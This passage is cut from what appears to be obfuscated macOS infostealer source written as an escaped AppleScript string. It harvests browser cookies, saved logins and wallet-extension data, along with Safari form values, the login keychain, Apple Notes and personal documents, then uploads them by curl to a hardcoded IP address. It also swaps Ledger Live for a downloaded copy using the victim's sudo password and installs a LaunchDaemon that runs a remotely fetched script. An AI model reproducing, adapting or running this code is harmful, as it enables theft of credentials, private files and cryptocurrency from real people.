\\\"ppbibelpcjmhbdihakflkdcoccbgbkpo\\\", \\\"ejjladinnckdgjemekebdpeokbikhfci\\\", \\\"kkpllkodjeloidieedojogacfhpaihoh\\\", \\\"apnehcjmnengpnmccpaibjmhhoadaico\\\", \\\"jiepnaheligkibgcjgjepjfppgbcghmp\\\", \\\"jojhfeoedkpkglbfimdfabpdfjaoolaf\\\", \\\"idpdilbfamoopcfofbipefhmmnflljfi\\\", \\\"lbjapbcmmceacocpimbpbidpgmlmoaao\\\", \\\"oiohdnannmknmdlddkdejbmplhbdcbee\\\", \\\"fldfpgipfncgndfolcbkdeeknbbbnhcc\\\", \\\"fpkhgmpbidmiogeglndfbkegfdlnajnf\\\", \\\"lgmpcpglpngdoalbgeoldeajfclnhafa\\\", \\\"ilhaljfiglknggcoegeknjghdgampffk\\\", \\\"pfccjkejcgoppjnllalolplgogenfojk\\\", \\\"cnmamaachppnkjgnildpdmkaakejnhae\\\", \\\"eajafomhmkipbjmfmhebemolkcicgfmd\\\", \\\"emeeapjkbcbpbpgaagfchmcgglmebnen\\\", \\\"ibnejdfjmmkpcnlpebklmnkoeoihofec\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\", \\\"ffnbelfdoeiohenkjibnmadjiehjhajb\\\", \\\"fnjhmkhhmkbjkkabndcnnogagogbneec\\\", \\\"bcopgchhojmggmffilplmbdicgaihlkp\\\", \\\"cmoakldedjfnjofgbbfenefcagmedlga\\\", \\\"ifckdpamphokdglkkdomedpdegcjhjdp\\\", \\\"ibljocddagjghmlpgihahamcghfggcjc\\\", \\\"cjmkndjhnagcfbpiemnkdpomccnjblmj\\\", \\\"kbdcddcmgoplfockflacnnefaehaiocb\\\", \\\"cgeeodpfagjceefieflmdfphplkenlfk\\\", \\\"afbcbjpbpfadlkmhmclhkeeodmamcflc\\\", \\\"fdchdcpieegfofnofhgdombfckhbcokj\\\", \\\"gjlmehlldlphhljhpnlddaodbjjcchai\\\", \\\"ellkdbaphhldpeajbepobaecooaoafpg\\\", \\\"ojbcfhjmpigfobfclfflafhblgemeidi\\\", \\\"ghlmndacnhlaekppcllcpcjjjomjkjpg\\\", \\\"kgdijkcfiglijhaglibaidbipiejjfdp\\\", \\\"abkahkcbhngaebpcgfmhkoioedceoigp\\\", \\\"ammjlinfekkoockogfhdkgcohjlbhmff\\\", \\\"pdliaogehgdbhbnmkklieghmmjkpigpa\\\", \\\"jnlgamecbpmbajjfhmmmlhejkemejdma\\\", \\\"nbdhibgjnjpnkajaghbffjbkcgljfgdi\\\", \\\"jfdlamikmbghhapbgfoogdffldioobgl\\\", \\\"fijngjgcjhjmmpcmkeiomlglpeiijkld\\\", \\\"hgbeiipamcgbdjhfflifkgehomnmglgk\\\", \\\"pmmnimefaichbcnbndcfpaagbepnjaig\\\", \\\"cflgahhmjlmnjbikhakapcfkpbcmllam\\\", \\\"keenhcnmdmjjhincpilijphpiohdppno\\\", \\\"bipdhagncpgaccgdbddmbpcabgjikfkn\\\", \\\"bcenedbpaaegpnijoadpdjiachahncdg\\\", \\\"pocmplpaccanhmnllbbkpgfliimjljgo\\\", \\\"klghhnkeealcohjjanjjdaeeggmfmlpl\\\", \\\"cjookpbkjnpkmknedggeecikaponcalb\\\", \\\"ojggmchlghnjlapmfbnjholfjkiidbch\\\", \\\"dngmlblcodfobpdpecaadgfbcggfjfnm\\\", \\\"jnldfbidonfeldmalbflbmlebbipcnle\\\", \\\"ehjiblpccbknkgimiflboggcffmpphhp\\\", \\\"agoakfejjabomempkjlepdflaleeobhb\\\", \\\"fopmedgnkfpebgllppeddmmochcookhc\\\", \\\"dmkamcknogkgcdfhhbddcghachkejeap\\\", \\\"iglbgmakmggfkoidiagnhknlndljlolb\\\", \\\"opfgelmcmbiajamepnmloijbpoleiama\\\", \\\"gkeelndblnomfmjnophbhfhcjbcnemka\\\", \\\"dgiehkgfknklegdhekgeabnhgfjhbajd\\\", \\\"gafhhkghbfjjkeiendhlofajokpaflmk\\\", \\\"imlcamfeniaidioeflifonfjeeppblda\\\", \\\"penjlddjkjgpnkllboccdgccekpkcbin\\\", \\\"nhnkbkgjikgcigadomkphalanndcapjk\\\", \\\"egjidjbpglichdcondbcbdnbeeppgdph\\\", \\\"dlcobpjiigpikoobohmabehhmhfoodbb\\\", \\\"dldjpboieedgcmpkchcjcbijingjcgok\\\", \\\"acmacodkjbdgmoleebolmdjonilkdbch\\\", \\\"lccbohhgfkdikahanoclbdmaolidjdfl\\\", \\\"pcndjhkinnkaohffealmlmhaepkpmgkb\\\", \\\"gjagmgiddbbciopjhllkdnddhcglnemk\\\", \\\"cnncmdhjacpkmjmkcafchppbnpnhdmon\\\", \\\"mfgccjchihfkkindfppnaooecgfneiii\\\", \\\"ieldiilncjhfkalnemgjbffmpomcaigi\\\", \\\"ckklhkaabbmdjkahiaaplikpdddkenic\\\", \\\"loinekcabhlmhjjbocijdoimmejangoa\\\", \\\"mgffkfbidihjpoaomajlbgchddlicgpn\\\", \\\"pnndplcbkakcplkjnolgbkdgjikjednm\\\", \\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"bgpipimickeadkjlklgciifhnalhdjhe\\\", \\\"pdadjkfkgcafgbceimcpbkalnfnepbnk\\\", \\\"jiidiaalihmmhddjgbnbgdfflelocpak\\\", \\\"aeachknmefphepccionboohckonoeemg\\\", \\\"gdokollfhmnbfckbobkdbakhilldkhcj\\\", \\\"jiiigigdinhhgjflhljdkcelcjfmplnd\\\", \\\"kmphdnilpmdejikjdnlbcnmnabepfgkh\\\", \\\"jaooiolkmfcmloonphpiiogkfckgciom\\\", \\\"fcckkdbjnoikooededlapcalpionmalo\\\", \\\"mdnaglckomeedfbogeajfajofmfgpoae\\\", \\\"ebfidpplhabeedpnhjnobghokpiioolj\\\", \\\"dbgnhckhnppddckangcjbkjnlddbjkna\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"epapihdplajcdnnkdeiahlgigofloibg\\\", \\\"iokeahhehimjnekafflcihljlcjccdbe\\\", \\\"cihmoadaighcejopammfbmddcmdekcje\\\", \\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", \\\"kilnpioakcdndlodeeceffgjdpojajlo\\\", \\\"abogmiocnneedmmepnohnhlijcjpcifd\\\", \\\"bofddndhbegljegmpmnlbhcejofmjgbn\\\", \\\"aholpfdialjgjfhomihkjbmgjidlcdno\\\", \\\"hdkobeeifhdplocklknbnejdelgagbao\\\", \\\"oafedfoadhdjjcipmcbecikgokpaphjk\\\", \\\"bfnaelmomeimhlpmgjnjophhpkkoljpa\\\", \\\"nkbihfbeogaeaoehlefnkodbefgpgknn\\\", \\\"lfmmjkfllhmfmkcobchabopkcefjkoip\\\", \\\"aiifbnbfobpmeekipheeijimdpnlpgpp\\\", \\\"anokgmphncpekkhclmingpimjmcooifb\\\", \\\"mnfifefkajgofkcjkemidiaecocnkjeh\\\", \\\"momakdpclmaphlamgjcndbgfckjfpemp\\\", \\\"akkmagafhjjjjclaejjomkeccmjhdkpa\\\", \\\"ehgjhhccekdedpbkifaojjaefeohnoea\\\", \\\"mkpegjkblkkefacfnmkajcjmabijhclg\\\", \\\"mlhakagmgkmonhdonhkpjeebfphligng\\\", \\\"niiaamnmgebpeejeemoifgdndgeaekhe\\\", \\\"jnmbobjmhlngoefaiojfljckilhhlhcj\\\", \\\"onhogfjeacnfoofkfgppdlbmlmnplgbn\\\", \\\"kppfdiipphfccemcignhifpjkapfbihd\\\", \\\"hcjhpkgbmechpabifbggldplacolbkoh\\\", \\\"flpiciilemghbmfalicajoolhkkenfel\\\", \\\"mlbnicldlpdimbjdcncnklfempedeipj\\\", \\\"cfbfdhimifdmdehjmkdobpcjfefblkjm\\\", \\\"ocjobpilfplciaddcbafabcegbilnbnb\\\", \\\"pgiaagfkgcbnmiiolekcfmljdagdhlcm\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"bifidjkcdpgfnlbcjpdkdcnbiooooblg\\\", \\\"lnnnmfcpbkafcpgdilckhmhbkkbpkmid\\\", \\\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\\\", \\\"fcfcfllfndlomdhbehjjcoimbgofdncg\\\", \\\"lpilbniiabackdjcionkobglmddfbcjo\\\", \\\"efbglgofoippbgcjepnhiblaibcnclgk\\\", \\\"fhbohimaelbohpjbbldcngcnapndodjp\\\", \\\"gkodhkbmiflnmkipcmlhhgadebbeijhh\\\", \\\"bocpokimicclpaiekenaeelehdjllofo\\\", \\\"bhhhlbepdkbapadjdnnojkbgioiodbic\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"mkchoaaiifodcflmbaphdgeidocajadp\\\", \\\"mapbhaebnddapnmifbbkgeedkeplgjmf\\\", \\\"lmkncnlpeipongihbffpljgehamdebgi\\\", \\\"gjnckgkfmgmibbkoficdidcljeaaaheg\\\", \\\"ppdadbejkmjnefldpcdjhnkpbjkikoip\\\", \\\"bopcbmipnjdcdfflfgjdgdjejmgpoaab\\\", \\\"kamfleanhcmjelnhaeljonilnmjpkcjc\\\", \\\"cphhlgmgameodnhkjdmkpanlelnlohao\\\", \\\"hnhobjmcibchnmglfbldbfabcgaknlkj\\\", \\\"nknhiehlklippafakaeklbeglecifhad\\\", \\\"kjjebdkfeagdoogagbhepmbimaphnfln\\\", \\\"phkbamefinggmakgklpkljjmgibohnba\\\", \\\"lakggbcodlaclcbbbepmkpdhbcomcgkd\\\", \\\"ookjlbkiijinhpmnjffcofjonbfbgaoc\\\", \\\"mdjmfdffdcmnoblignmgpommbefadffd\\\", \\\"jblndlipeogpafnldhgmapagcccfchpi\\\", \\\"hbbgbephgojikajhfbomhlmmollphcad\\\", \\\"dpcklmdombjcplafheapiblogdlgjjlb\\\", \\\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\\\", \\\"kmhcihpebfmpgmihbkipmjlmmioameka\\\", \\\"kennjipeijpeengjlogfdjkiiadhbmjl\\\", \\\"amkmjjmmflddogmhpjloimipbofnfjih\\\", \\\"idnnbdplmphpflfnlkomgpfbpcgelopg\\\", \\\"fmblappgoiilbgafhjklehhfifbdocee\\\", \\\"heamnjbnflcikcggoiplibfommfbkjpj\\\", \\\"khpkpbbcccdmmclmpigdgddabeilkdpd\\\", \\\"omaabbefbmiijedngplfjmnooppbclkk\\\", \\\"nhlnehondigmgckngjomcpcefcdplmgc\\\", \\\"fiikommddbeccaoicoejoniammnalkfa\\\", \\\"ejbidfepgijlcgahbmbckmnaljagjoll\\\", \\\"glmhbknppefdmpemdmjnjlinpbclokhn\\\", \\\"kncchdigobghenbbaddojjnnaogfppfj\\\", \\\"hpclkefagolihohboafpheddmmgdffjm\\\", \\\"ilolmnhjbbggkmopnemiphomhaojndmb\\\", \\\"panpgppehdchfphcigocleabcmcgfoca\\\", \\\"nngceckbapebfimnlniiiahkandclblb\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", \\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"bfogiafebfohielmmehodmfbbebbbpei\\\", \\\"pnlccmojcmeohlpggmfnbbiapkmbliob\\\", \\\"aeblfdkhhhdcdjpifhhbdiojplfjncoa\\\", \\\"kmcfomidfpdkfieipokbalgegidffkal\\\", \\\"fdjamakpfbbddfjaooikfcpapjohcfmg\\\", \\\"ghmbeldphafepmbegfdlkpapadhbakde\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"admmjipmmciaobhojoghlmleefbicajg\\\", \\\"caljgklbbfbcjjanaijlacgncafpegll\\\", \\\"bdgmdoedahdcjmpmifafdhnffjinddgc\\\"}\" & return & \"set v8742602037954305398 to {\\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", \\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", \\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\"}\" & return & \"set v1193781549428669497 to {\\\"/Network/Cookies\\\", \\\"/Cookies\\\", \\\"/Web Data\\\", \\\"/Login Data\\\", \\\"/Local Extension Settings/\\\", \\\"/IndexedDB/\\\"}\" & return & \"repeat with r6752091327858889504 in p6334719600918497600\" & return & \"set v2513835422850783512 to p4863990634495586282 & \\\"chromium/\\\" & item 1 of r6752091327858889504 & \\\"_\\\"\" & return & \"try\" & return & \"set v2694507030868519803 to list folder item 2 of r6752091327858889504 without invisibles\" & return & \"repeat with r3080019060869919598 in v2694507030868519803\" & return & \"if ((r3080019060869919598 as string) is equal to \\\"Default\\\") or ((r3080019060869919598 as string) contains \\\"Profile\\\") then\" & return & \"repeat with r3250349099168131866 in v1193781549428669497\" & return & \"set v1954333496690272467 to (item 2 of r6752091327858889504 & r3080019060869919598 & r3250349099168131866)\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Network/Cookies\\\") then\" & return & \"set r3250349099168131866 to \\\"/Cookies\\\"\" & return & \"end if\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Local Extension Settings/\\\") then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v4405675767274189443, false)\" & return & \"else if (r3250349099168131866 as string) is equal to \\\"/IndexedDB/\\\" then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v8742602037954305398, true)\" & return & \"else\" & return & \"set v6926349233833838297 to v2513835422850783512 & r3080019060869919598 & r3250349099168131866\" & return & \"f3260842499625414770(v1954333496690272467, v6926349233833838297)\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"end f1591517285159242142\" & return & \"on f1532446016022058365(p3881276098448230608)\" & return & \"try\" & return & \"set v2857667501174155446 to p3881276098448230608 & \\\"finder/\\\"\" & return & \"set v8281920971863355302 to POSIX file v2857667501174155446\" & return & \"set v4441088708029283771 to POSIX file (v2857667501174155446 & \\\"NotesMedia/\\\")\" & return & \"set v6158381901122815805 to {\\\"txt\\\", \\\"pdf\\\", \\\"docx\\\", \\\"wallet\\\", \\\"key\\\", \\\"keys\\\", \\\"doc\\\", \\\"jpeg\\\", \\\"png\\\", \\\"kdbx\\\", \\\"rtf\\\", \\\"jpg\\\"}\" & return & \"set v8469470304514680439 to 0\" & return & \"set v8650131140709316950 to 0\" & return & \"set v6672744883499636961 to do shell script \\\"system_profiler SPHardwareDataType | awk \\\\\\\"/UUID/ { print \$3 }\\\\\\\"\\\"\" & return & \"f5498098200027630037(v8281920971863355302)\" & return & \"f5498098200027630037(v4441088708029283771)\" & return & \"tell application \\\"Finder\\\"\" & return & \"try\" & return & \"set v5664556149018466815 to (path to home folder as text) & \\\"Library:Cookies:\\\"\" & return & \"duplicate file (v5664556149018466815 & \\\"Cookies.binarycookies\\\") to folder v8281920971863355302 with replacing\" & return & \"set name of result to \\\"saf1\\\"\" & return & \"end try\" & return & \"set v5859511804315351637 to ((path to library folder from user domain as text) & \\\"Containers:com.apple.Safari:Data:Library:Cookies:\\\")\" & return & \"try\" & return & \"duplicate file \\\"Cookies.binarycookies\\\" of folder v5859511804315351637 to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"set v5695573350752543491 to (path to home folder as text) & \\\"Library:Group Containers:group.com.apple.notes:\\\"\" & return & \"try\" & return & \"set v4028253585474527214 to folder v5695573350752543491\" & return & \"set v3059343139743270365 to {\\\"NoteStore.sqlite\\\", \\\"NoteStore.sqlite-shm\\\", \\\"NoteStore.sqlite-wal\\\"}\" & return & \"repeat with r5970773334031856482 in v3059343139743270365\" & return & \"try\" & return & \"duplicate (file r5970773334031856482 of v4028253585474527214) to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"set v6670855804231182791 to (v5695573350752543491 & \\\"Accounts:\\\")\" & return & \"try\" & return & \"set v5519092049812466280 to folder v6670855804231182791\" & return & \"set v3264421481048971213 to every folder of v5519092049812466280\" & return & \"repeat with r4258096541253041116 in v3264421481048971213\" & return & \"set v1705315559787201198 to v6670855804231182791 & name of r4258096541253041116 & \\\":Media:\\\"\" & return & \"set v8602179077777075102 to every folder of (folder v1705315559787201198)\" & return & \"repeat with r6918584002998503489 in v8602179077777075102\" & return & \"set v2041994904574966794 to v1705315559787201198 & name of r6918584002998503489\" & return & \"set v4708919411825789932 to every folder of (folder v2041994904574966794)\" & return & \"repeat with r5412423611944794898 in v4708919411825789932\" & return & \"set v3110012799677078337 to every file of r5412423611944794898\" & return & \"repeat with r2422556479517081844 in v3110012799677078337\" & return & \"try\" & return & \"set v5797793165775939366 to size of r2422556479517081844 as text\" & return & \"set v8650131140709316950 to v8650131140709316950 + v5797793165775939366\" & return & \"if v8650131140709316950 < 12 * 1024 * 1024 then\" & return & \"duplicate r2422556479517081844 to v4441088708029283771 with replacing\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end try\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"try\" & return & \"set v5664556149018466815 to (path to library folder from user domain as text) & \\\"Safari:\\\"\" & return & \"duplicate (file \\\"Form Values\\\" of folder v5664556149018466815) to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v1095958890041291631 to (path to library folder from user domain as text) & \\\"Keychains:\\\" & v6672744883499636961\" & return & \"duplicate folder v1095958890041291631 to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v8119924508541357890 to every file of desktop\" & return & \"set v6040935122466836241 to every file of folder \\\"Documents\\\" of (path to home folder)\" & return & \"repeat with r5970773334031856482 in (v8119924508541357890 & v6040935122466836241)\" & return & \"set v6932649326940113769 to name extension of r5970773334031856482\" & return & \"if v6932649326940113769 is in v6158381901122815805 then\" & return & \"set v5797793165775939366 to size of r5970773334031856482\" & return & \"if (v8469470304514680439 + v5797793165775939366) < 10 * 1024 * 1024 then\" & return & \"try\" & return & \"duplicate r5970773334031856482 to folder v8281920971863355302 with replacing\" & return & \"set v8469470304514680439 to v8469470304514680439 + v5797793165775939366\" & return & \"end try\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end tell\" & return & \"end try\" & return & \"end f1532446016022058365\" & return & \"on f8497057021342530935(p5900055593697774672, p8246563282623393106, p2010142394812967057, p5668794948295293669)\" & return & \"try\" & return & \"set v3255209542620155720 to (do shell script \\\"curl -X POST -H \\\\\\\"buildid: ba0069e5ee8f4f91ae69ccdb86b78076\\\\\\\" -H \\\\\\\"username: \\\" & p8246563282623393106 & \\\"\\\\\\\" -H \\\\\\\"repeat: \\\" & p5668794948295293669 & \\\"\\\\\\\" -H \\\\\\\"cid: \\\\\\\" --data-binary @/tmp/out.zip http://\\\" & p2010142394812967057 & \\\"/log\\\")\" & return & \"on error\" & return & \"if p5900055593697774672 < 10 then\" & return & \"delay 60\" & return & \"f8497057021342530935(p5900055593697774672 + 1, p8246563282623393106, p2010142394812967057)\" & return & \"end if\" & return & \"end try\" & return & \"end f8497057021342530935\" & return & \"on f7881539568187939281(p2485608757807931554)\" & return & \"try\" & return & \"set v7282284727864660204 to \\\"\\\"\" & return & \"set v4769200348931914948 to 0\" & return & \"tell application \\\"Notes\\\"\" & return & \"set v2532122926136842264 to {}\" & return & \"set v3660538997077474786 to every account\" & return & \"repeat with r6203686060571348040 in v3660538997077474786\" & return & \"try\" & return & \"set v6069917827788775140 to properties of every note in r6203686060571348040\" & return & \"set v4769200348931914948 to v4769200348931914948 + (length of v6069917827788775140)\" & return & \"repeat with r4231202708533315726 in v6069917827788775140\" & return & \"try\" & return & \"set v2473674755434718728 to (creation date of r4231202708533315726) & return & (body of r4231202708533315726)\" & return & \"copy v2473674755434718728 to end of v2532122926136842264\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"set v7282284727864660204 to v2532122926136842264 as text\" & return & \"end tell\" & return & \"if v4769200348931914948 > 0 then\" & return & \"set v7282284727864660204 to \\\"<h1>Notes Count: \\\" & (v4769200348931914948 as text) & \\\"</h1> <br><br><br> \\\" & v7282284727864660204\" & return & \"f6264705180628981705(v7282284727864660204, p2485608757807931554 & \\\"finder/notes.html\\\")\" & return & \"end if\" & return & \"end try\" & return & \"end f7881539568187939281\" & return & \"on f7738793407393166782(p7555612972716165088, p1320216238734915359, p4310207234123017821)\" & return & \"try\" & return & \"set v3970677117347150220 to \\\"/Applications/Ledger Live.app\\\"\" & return & \"list folder POSIX file v3970677117347150220\" & return & \"do shell script \\\"curl http://\\\" & p4310207234123017821 & \\\"/otherassets/ledger.zip -o /tmp/ledger.zip\\\"\" & return & \"try\" & return & \"do shell script \\\"pkill \\\" & quoted form of \\\"Ledger Live\\\"\" & return & \"end try\" & return & \"do shell script \\\"echo \\\" & quoted form of p1320216238734915359 & \\\" | sudo -S rm -r \\\" & quoted form of v3970677117347150220\" & return & \"delay 0.01\" & return & \"do shell script \\\"unzip /tmp/ledger.zip -d /Applications\\\"\" & return & \"end try\" & return & \"end f7738793407393166782\" & return & \"on f7680579707267924922(p6319878029184497578, p8155257917916918513, p6151609391132453683)\" & return & \"try\" & return & \"set v3889753805557895190 to (random number from 10000 to 100000) as text\" & return & \"set v8451565999740633567 to \\\"com.\\\" & v3889753805557895190\" & return & \"set v5565569851091166079 to do shell script \\\"curl -s http://\\\" & p6151609391132453683 & \\\"/otherassets/plist\\\"\" & return & \"set v6729880044489636041 to \\\"<?xml version=\\\\\\\"1.0\\\\\\\" encoding=\\\\\\\"UTF-8\\\\\\\"?>\" & return & \"<!DOCTYPE plist PUBLIC \\\\\\\"-//Apple//DTD PLIST 1.0//EN\\\\\\\" \\\\\\\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\\\\\\\">\" & return & \"<plist version=\\\\\\\"1.0\\\\\\\">\" & return & \"<dict>\" & return & \"<key>KeepAlive</key>\" & return & \"<true/>\" & return & \"<key>Label</key>\" & return & \"<string>\\\" & v8451565999740633567 & \\\"</string>\" & return & \"<key>ProgramArguments</key>\" & return & \"<array>\" & return & \"<string>/bin/bash</string>\" & return & \"<string>-c</string>\" & return & \" <string>\\\" & v5565569851091166079 & \\\"</string>\" & return & \"</array>\" & return & \"<key>UserName</key>\" & return & \" <string>\\\" & p6319878029184497578 & \\\"</string>\" & return & \"<key>RunAtLoad</key>\" & return & \"<true/>\" & return & \"<key>SessionCreate</key>\" & return & \"<true/>\" & return & \"</dict>\" & return & \"</plist>\\\"\" & return & \"f6264705180628981705(v6729880044489636041, \\\"/tmp/starter\\\")\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" | sudo -S cp /tmp/starter /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"try\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" | sudo -S launchctl bootstrap system /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"on error\" & return & \"do shell script \\\"nohup \\\" & v5565569851091166079 & \\\" >/dev/null 2>&1 &\\\"\" & return & \"end try\" & return & \"end try\" & return & \"end f7680579707267924922\" & return & \"on f7067467169335976972()\" & return & \"set v3611835577903818869 to (system attribute \\\"USER\\\")\" & return & \"set v5329093948850621050 to \\\"boss\\\"\" & return & \"set v6176627993449405708 to \\\"185.93.89.62\\\"\" & return & \"set v6007572078735828114 to \\\"\$ISBOT\$\\\"\" & return & \"set v5876564239486588955 to \\\"/Users/\\\" & v3611835577903818869\" & return & \"f6264705180628981705(v5329093948850621050, v5876564239486588955 & \\\"/.username\\\")\" & return & \"f6264705180628981705(v6176627993449405708, v5876564239486588955 & \\\"/.chost\\\")\" & return & \"set v8258978919954172053 to (random number from 10000 to 100000) as text\" & return & \"set v2545565665707699343 to \\\"/tmp/\\\" & v8258978919954172053 & \\\"/\\\"\" & return & \"try\" & return & \"set v5048646198888777399 to (do shell script \\\"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\\\")\" & return & \"f6264705180628981705(v5048646198888777399, v2545565665707699343 & \\\"hardware\\\")\" & return & \"end try\" & return & \"set v8210301408553245953 to v5876564239486588955 & \\\"/Library/\\\"\" & return & \"set v4968262434143532926 to v8210301408553245953 & \\\"Application Support/\\\"\" & return & \"set v2439337587433223164 to f8771517014503093342(v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"if not f5789441686885361081(v3611835577903818869, v2439337587433223164) then\" & return & \"set v2439337587433223164 to f4455047023799241882(v3611835577903818869, v2545565665707699343)\" & return & \"f6264705180628981705(v2439337587433223164, v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"end if\" & return & \"delay 0.01\" & return & \"f6264705180628981705(v2439337587433223164, v2545565665707699343 & \\\"pwd\\\")\" & return & \"set v7777708969300503610 to v8210301408553245953 & \\\"Group Containers/group.com.apple.notes/NoteStore.sqlite\\\"\" & return & \"f3260842499625414770(v7777708969300503610, v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-wal\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-wal\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-shm\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-shm\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/Cookies.binarycookies\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/saf1\\\")\" & return & \"f1532446016022058365(v2545565665707699343)\" & return & \"try\" & return & \"if f8771517014503093342(v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\") is equal to \\\"\\\" then\" & return & \"f7881539568187939281(v2545565665707699343)\" & return & \"end if\" & return & \"end try\" & return & \"set v5516568614182406442 to {{\\\"Chrome\\\", v4968262434143532926 & \\\"Google/Chrome/\\\"}, {\\\"Brave\\\", v4968262434143532926 & \\\"BraveSoftware/Brave-Browser/\\\"}, {\\\"Edge\\\", v4968262434143532926 & \\\"Microsoft Edge/\\\"}, {\\\"Vivaldi\\\", v4968262434143532926 & \\\"Vivaldi/\\\"}, {\\\"Opera\\\", v4968262434143532926 & \\\"com.operasoftware.Opera/\\\"}, {\\\"OperaGX\\\", v4968262434143532926 & \\\"com.operasoftware.OperaGX/\\\"}, {\\\"Chrome Beta\\\", v4968262434143532926 & \\\"Google/Chrome Beta/\\\"}, {\\\"Chrome Canary\\\", v4968262434143532926 & \\\"Google/Chrome Canary\\\"}, {\\\"Chromium\\\", v4968262434143532926 & \\\"Chromium/\\\"}, {\\\"Chrome Dev\\\", v4968262434143532926 & \\\"Google/Chrome Dev/\\\"}}\" & return & \"set v8490134006172949951 to {{\\\"Electrum\\\", v5876564239486588955 & \\\"/.electrum/wallets/\\\"}, {\\\"Coinomi\\\", v4968262434143532926 & \\\"Coinomi/wallets/\\\"}, {\\\"Exodus\\\", v4968262434143532926 & \\\"Exodus/\\\"}, {\\\"Atomic\\\", v4968262434143532926 & \\\"atomic/Local Storage/leveldb/\\\"}, {\\\"Wasabi\\\", v5876564239486588955 & \\\"/.walletwasabi/client/Wallets/\\\"}, {\\\"Ledger_Live\\\", v4968262434143532926 & \\\"Ledger Live/\\\"}, {\\\"Monero\\\", v5876564239486588955 & \\\"/Monero/wallets/\\\"}, {\\\"Bitcoin_Core\\\", v4968262434143532926 & \\\"Bitcoin/wallets/\\\"}, {\\\"Litecoin_Core\\\", v4968262434143532926 & \\\"Litecoin/wallets/\\\"}, {\\\"Dash_Core\\\", v4968262434143532926 & \\\"DashCore/wallets/\\\"}, {\\\"Electrum_LTC\\\", v5876564239486588955 & \\\"/.electrum-ltc/wallets/\\\"}, {\\\"Electron_Cash\\\", v5876564239486588955 & \\\"/.electron-cash/wallets/\\\"}, {\\\"Guarda\\\", v4968262434143532926 & \\\"Guarda/\\\"}, {\\\"Dogecoin_Core\\\", v4968262434143532926 & \\\"Dogecoin/wallets/\\\"}, {\\\"Trezor_Suite\\\", v4968262434143532926 & \\\"@trezor/suite-desktop/\\\"}}\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"Binance/app-store.json\\\", v2545565665707699343 & \\\"deskwallets/Binance/app-store.json\\\")\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"@tonkeeper/desktop/config.json\\\", \\\"deskwallets/TonKeeper/config.json\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Keychains/login.keychain-db\\\", v2545565665707699343 & \\\"kc\\\")\" & return & \"f6264705180628981705(v3611835577903818869, v2545565665707699343 & \\\"user\\\")\" & return & \"set v7965558497206143252 to {{\\\"Firefox\\\", v4968262434143532926 & \\\"Firefox/Profiles/\\\"}, {\\\"Waterfox\\\", v4968262434143532926 & \\\"Waterfox/Profiles/\\\"}}\" & return & \"repeat with r8845574607081690012 in v7965558497206143252\" & return & \"try\" & return & \"f2536643714453681639(item 1 of r8845574607081690012, item 2 of r8845574607081690012, v2545565665707699343)\" & return & \"end try\" & return & \"end repeat\" & return & \"repeat with r7976650121018849761 in v8490134006172949951\" & return & \"f8031310448975060865(item 